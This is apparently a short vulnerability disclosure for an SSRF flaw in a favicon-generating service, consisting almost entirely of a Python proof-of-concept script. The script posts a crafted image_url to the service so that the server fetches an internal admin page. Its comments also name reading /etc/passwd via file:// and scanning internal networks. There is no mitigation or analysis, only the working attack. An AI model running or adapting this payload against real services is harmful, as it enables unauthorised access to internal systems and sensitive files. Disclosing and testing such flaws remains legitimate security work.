CVE-2026-7150 dh1011 auto-favicon SSRF漏洞

import requests # Target URL of the vulnerable auto-favicon service target_url = "http://localhost:8000/generate_favicon" # Malicious payload attempting to access an internal service (e.g., localhost admin panel) # Attackers can also try file:// protocol or internal network scanning malicious_image_url = "http://127.0.0.1:8080/admin" # Alternative: file:///etc/passwd (if supported by the underlying library) payload = { "image_url": malicious_image_url } try: print(f"[+] Sending SSRF payload to {target_url}...") response = requests.post(target_url, json=payload) print(f"[+] Response Status: {response.status_code}") print("[+] Response Body:") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")